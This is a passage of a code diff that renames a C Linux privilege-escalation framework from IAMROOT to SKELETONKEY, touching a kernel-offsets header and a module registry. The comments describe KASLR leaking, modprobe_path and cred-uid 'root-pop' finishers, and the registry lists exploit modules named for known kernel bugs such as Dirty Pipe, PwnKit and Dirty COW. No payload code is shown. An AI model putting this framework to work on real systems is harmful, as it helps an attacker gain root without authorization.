* Set by iamroot_offsets_apply_kbase_leak() after EntryBleed runs. */
|
||||
* Set by skeletonkey_offsets_apply_kbase_leak() after EntryBleed runs. */
|
||||
uintptr_t kbase;
|
||||
|
||||
/* Symbol virtual addresses (final, post-KASLR-resolution). */
|
||||
@@ -58,9 +58,9 @@ struct iamroot_kernel_offsets {
|
||||
uint32_t cred_uid_offset; /* offset of uid_t uid in cred (almost always 4) */
|
||||
|
||||
/* Where did each field come from. */
|
||||
enum iamroot_offset_source source_modprobe;
|
||||
enum iamroot_offset_source source_init_task;
|
||||
enum iamroot_offset_source source_cred;
|
||||
enum skeletonkey_offset_source source_modprobe;
|
||||
enum skeletonkey_offset_source source_init_task;
|
||||
enum skeletonkey_offset_source source_cred;
|
||||
};
|
||||
|
||||
/* Best-effort resolution. Returns the number of critical fields
|
||||
@@ -69,25 +69,25 @@ struct iamroot_kernel_offsets {
|
||||
*
|
||||
* Resolution chain is tried in order; later sources do NOT overwrite
|
||||
* a field already set by an earlier source. */
|
||||
int iamroot_offsets_resolve(struct iamroot_kernel_offsets *out);
|
||||
int skeletonkey_offsets_resolve(struct skeletonkey_kernel_offsets *out);
|
||||
|
||||
/* Apply a runtime-leaked kbase to any embedded-table entries that
|
||||
* shipped as relative-to-_text offsets. Idempotent. */
|
||||
void iamroot_offsets_apply_kbase_leak(struct iamroot_kernel_offsets *off,
|
||||
void skeletonkey_offsets_apply_kbase_leak(struct skeletonkey_kernel_offsets *off,
|
||||
uintptr_t leaked_kbase);
|
||||
|
||||
/* Returns true if modprobe_path can be written (the simplest root-pop
|
||||
* finisher). */
|
||||
bool iamroot_offsets_have_modprobe_path(const struct iamroot_kernel_offsets *off);
|
||||
bool skeletonkey_offsets_have_modprobe_path(const struct skeletonkey_kernel_offsets *off);
|
||||
|
||||
/* Returns true if init_task + cred offsets are known (the cred-uid
|
||||
* finisher). */
|
||||
bool iamroot_offsets_have_cred(const struct iamroot_kernel_offsets *off);
|
||||
bool skeletonkey_offsets_have_cred(const struct skeletonkey_kernel_offsets *off);
|
||||
|
||||
/* For diagnostic logging — pretty-print what we resolved to stderr. */
|
||||
void iamroot_offsets_print(const struct iamroot_kernel_offsets *off);
|
||||
void skeletonkey_offsets_print(const struct skeletonkey_kernel_offsets *off);
|
||||
|
||||
/* Helper: return the name of the source enum. */
|
||||
const char *iamroot_offset_source_name(enum iamroot_offset_source src);
|
||||
const char *skeletonkey_offset_source_name(enum skeletonkey_offset_source src);
|
||||
|
||||
#endif /* IAMROOT_OFFSETS_H */
|
||||
#endif /* SKELETONKEY_OFFSETS_H */
|
||||
|
||||
+9
-9
@@ -1,5 +1,5 @@
|
||||
/*
|
||||
* IAMROOT — module registry implementation
|
||||
* SKELETONKEY — module registry implementation
|
||||
*
|
||||
* Simple flat array. Resized in chunks of 16. We never expect more
|
||||
* than a few dozen modules, so this is fine.
|
||||
@@ -14,22 +14,22 @@
|
||||
|
||||
#define REGISTRY_CHUNK 16
|
||||
|
||||
static const struct iamroot_module **g_modules = NULL;
|
||||
static const struct skeletonkey_module **g_modules = NULL;
|
||||
static size_t g_count = 0;
|
||||
static size_t g_cap = 0;
|
||||
|
||||
void iamroot_register(const struct iamroot_module *m)
|
||||
void skeletonkey_register(const struct skeletonkey_module *m)
|
||||
{
|
||||
if (m == NULL || m->name == NULL) {
|
||||
fprintf(stderr, "[!] iamroot_register: NULL module or unnamed module\n");
|
||||
fprintf(stderr, "[!] skeletonkey_register: NULL module or unnamed module\n");
|
||||
return;
|
||||
}
|
||||
if (g_count == g_cap) {
|
||||
size_t new_cap = g_cap + REGISTRY_CHUNK;
|
||||
const struct iamroot_module **n =
|
||||
const struct skeletonkey_module **n =
|
||||
realloc((void *)g_modules, new_cap * sizeof(*g_modules));
|
||||
if (n == NULL) {
|
||||
fprintf(stderr, "[!] iamroot_register: OOM\n");
|
||||
fprintf(stderr, "[!] skeletonkey_register: OOM\n");
|
||||
return;
|
||||
}
|
||||
g_modules = n;
|
||||
@@ -38,18 +38,18 @@ void iamroot_register(const struct iamroot_module *m)
|
||||
g_modules[g_count++] = m;
|
||||
}
|
||||
|
||||
size_t iamroot_module_count(void)
|
||||
size_t skeletonkey_module_count(void)
|
||||
{
|
||||
return g_count;
|
||||
}
|
||||
|
||||
const struct iamroot_module *iamroot_module_at(size_t i)
|
||||
const struct skeletonkey_module *skeletonkey_module_at(size_t i)
|
||||
{
|
||||
if (i >= g_count) return NULL;
|
||||
return g_modules[i];
|
||||
}
|
||||
|
||||
const struct iamroot_module *iamroot_module_find(const char *name)
|
||||
const struct skeletonkey_module *skeletonkey_module_find(const char *name)
|
||||
{
|
||||
if (name == NULL) return NULL;
|
||||
for (size_t i = 0; i < g_count; i++) {
|
||||
|
||||
+30
-30
@@ -1,44 +1,44 @@
|
||||
/*
|
||||
* IAMROOT — module registry
|
||||
* SKELETONKEY — module registry
|
||||
*
|
||||
* Global list of registered modules. Each family contributes via
|
||||
* register_<family>_modules() called from iamroot main() at startup.
|
||||
* register_<family>_modules() called from skeletonkey main() at startup.
|
||||
*/
|
||||
|
||||
#ifndef IAMROOT_REGISTRY_H
|
||||
#define IAMROOT_REGISTRY_H
|
||||
#ifndef SKELETONKEY_REGISTRY_H
|
||||
#define SKELETONKEY_REGISTRY_H
|
||||
|
||||
#include "module.h"
|
||||
|
||||
void iamroot_register(const struct iamroot_module *m);
|
||||
void skeletonkey_register(const struct skeletonkey_module *m);
|
||||
|
||||
size_t iamroot_module_count(void);
|
||||
const struct iamroot_module *iamroot_module_at(size_t i);
|
||||
size_t skeletonkey_module_count(void);
|
||||
const struct skeletonkey_module *skeletonkey_module_at(size_t i);
|
||||
|
||||
/* Find a module by name. Returns NULL if not found. */
|
||||
const struct iamroot_module *iamroot_module_find(const char *name);
|
||||
const struct skeletonkey_module *skeletonkey_module_find(const char *name);
|
||||
|
||||
/* Each module family declares one of these in its public header. The
|
||||
* top-level iamroot main() calls them in order at startup. */
|
||||
void iamroot_register_copy_fail_family(void);
|
||||
void iamroot_register_dirty_pipe(void);
|
||||
void iamroot_register_entrybleed(void);
|
||||
void iamroot_register_pwnkit(void);
|
||||
void iamroot_register_nf_tables(void);
|
||||
void iamroot_register_overlayfs(void);
|
||||
void iamroot_register_cls_route4(void);
|
||||
void iamroot_register_dirty_cow(void);
|
||||
void iamroot_register_ptrace_traceme(void);
|
||||
void iamroot_register_netfilter_xtcompat(void);
|
||||
void iamroot_register_af_packet(void);
|
||||
void iamroot_register_fuse_legacy(void);
|
||||
void iamroot_register_stackrot(void);
|
||||
void iamroot_register_af_packet2(void);
|
||||
void iamroot_register_cgroup_release_agent(void);
|
||||
void iamroot_register_overlayfs_setuid(void);
|
||||
void iamroot_register_nft_set_uaf(void);
|
||||
void iamroot_register_af_unix_gc(void);
|
||||
void iamroot_register_nft_fwd_dup(void);
|
||||
void iamroot_register_nft_payload(void);
|
||||
* top-level skeletonkey main() calls them in order at startup. */
|
||||
void skeletonkey_register_copy_fail_family(void);
|
||||
void skeletonkey_register_dirty_pipe(void);
|
||||
void skeletonkey_register_entrybleed(void);
|
||||
void skeletonkey_register_pwnkit(void);
|
||||
void skeletonkey_register_nf_tables(void);
|
||||
void skeletonkey_register_overlayfs(void);
|
||||
void skeletonkey_register_cls_route4(void);
|
||||
void skeletonkey_register_dirty_cow(void);
|
||||
void skeletonkey_register_ptrace_traceme(void);
|
||||
void skeletonkey_register_netfilter_xtcompat(void);
|
||||
void skeletonkey_register_af_packet(void);
|
||||
void skeletonkey_register_fuse_legacy(void);
|
||||
void skeletonkey_register_stackrot(void);
|
||||
void skeletonkey_register_af_packet2(void);
|
||||
void skeletonkey_register_cgroup_release_agent(void);
|
||||
void skeletonkey_register_overlayfs_setuid(void);
|
||||
void skeletonkey_register_nft_set_uaf(void);
|
||||
void skeletonkey_register_af_unix_gc(void);
|
||||
void skeletonkey_register_nft_fwd_dup(void);
|
||||
void skeletonkey_register_nft_payload(void);
|
||||
|
||||
#endif /* IAMROOT_REGISTRY_H */
|
||||
#endif /* SKELETONKEY_REGISTRY_H */
|
||||
|
||||
Reference in New Issue
Block a user